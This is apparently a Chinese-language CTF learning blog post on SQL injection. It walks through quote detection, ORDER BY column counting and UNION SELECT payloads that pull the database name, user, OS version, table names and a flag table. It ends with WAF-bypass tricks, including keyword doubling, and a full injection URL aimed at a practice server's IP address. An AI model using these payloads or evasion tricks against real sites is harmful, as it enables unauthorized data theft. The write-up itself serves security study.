判断有无单引号报护
![10651191-2d5e103e6fa43032.png](https://i-blog.csdnimg.cn/blog_migrate/145a1e04bad047b3b8091b6af1dccd79.png)
如果有单引号报护,
1' #
注释掉其后的单引号
and 1=1
1' and 1=1 #
![10651191-ca5bb17a1546d74e.png](https://i-blog.csdnimg.cn/blog_migrate/e12b9dc374f374e13f7e42fcc6787b7b.png)
1 and 1=2
![10651191-111f574244fba2db.png](https://i-blog.csdnimg.cn/blog_migrate/67aa48296b1431457b0cbcc6c9c2c055.png)
解决了我的一个疑惑, 就是如果 是 ’1 and 1=2' 还会不会执行语句, 现在看来是会的
1' order by 10 #
![10651191-c6dcbbe0fb086c8a.png](https://i-blog.csdnimg.cn/blog_migrate/ac316e76b2039207d64d0dd63f7cdff8.png)
然后就判断数据表只有 4列
1' union select database(), user() #
![10651191-4e4b366082277a43.png](https://i-blog.csdnimg.cn/blog_migrate/d4d07fc1f005e956143259fd87160544.png)
提示列数不一样
![10651191-e43ec7bfbe876216.png](https://i-blog.csdnimg.cn/blog_migrate/ba99bbbc0f7279f07ede781cc2449da3.png)
1' union select database(),2,3 , 4#
![10651191-824d2e9e185d0296.png](https://i-blog.csdnimg.cn/blog_migrate/ed103ae7701ae07526ff7213e3fc0043.png)
![10651191-760039a94404a2e6.png](https://i-blog.csdnimg.cn/blog_migrate/c8849563b04080476db09cd8e04e2c83.png)
1' union select database(),2,3 , user()#
![10651191-cc1b7da7bfb9c6f4.png](https://i-blog.csdnimg.cn/blog_migrate/afc386f8769c5d5540fd0156a5399888.png)
所以database是 luozhen
用户名是 luozhen@127.0.0.1
1' union select table_name,table_schema 3,4 from information_schema.tables where table_schema= 'luozhen'#
获得了版本信息
![10651191-e93782acefe97183.png](https://i-blog.csdnimg.cn/blog_migrate/e9c183e0fd11d09c9d9a43529f70a0f0.png)
@@version_compile_os
用这个得到了操作系统的信息
![10651191-efcdc60cbdd80171.png](https://i-blog.csdnimg.cn/blog_migrate/81a3a88d687dc4a27270923467440c95.png)
1' union select table_name,table_schema 3,4 from information_schema.tables where table_schema= 'luozhen'#
这个出问题了,并没有成功
![10651191-0ba67ef3de10de1b.png](https://i-blog.csdnimg.cn/blog_migrate/368c3abdc25efd4ea93e0f31df710023.png)
1' union select table_name,table_schema ,3,4 from information_schema.tables where table_schema= 'luozhen'#
原来是少了个逗号
![10651191-ada07e7ef4e83c55.png](https://i-blog.csdnimg.cn/blog_migrate/db7f1948457e80a4f566d4d8d07f08ef.png)
说明有一个flag的表
哇哈好兴奋, 成功了
payload 如下:
1' union select 1,flag, 2,3 from flag#
![10651191-08a84819b45442c2.png](https://i-blog.csdnimg.cn/blog_migrate/30ec597bb0b88196ca717416aadd8619.png)
绕过waf的几种方式
绕过空格
用() 或者 /**/
![10651191-e2e79661df441048.png](https://i-blog.csdnimg.cn/blog_migrate/c75b5a10dc21a22688f1f243d1e5ae0c.png)
绕过 =
用<>
提取字符
ascii()默认提取第一个字符
mid()from 1 for 3
substr()
surstring()
拼接字符
concat()
注入分类
基于布尔的盲注
这是异或注入
![10651191-993f0559365603f3.png](https://i-blog.csdnimg.cn/blog_migrate/41b0854f8cee2ef866423ace19b5793d.png)
http://120.24.86.145:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
再补充一点和mysql相关的。。
![10651191-83e8f6dad2bbd615.png](https://i-blog.csdnimg.cn/blog_migrate/238dbb4bb96e5af3ba42c70a47c1867d.png)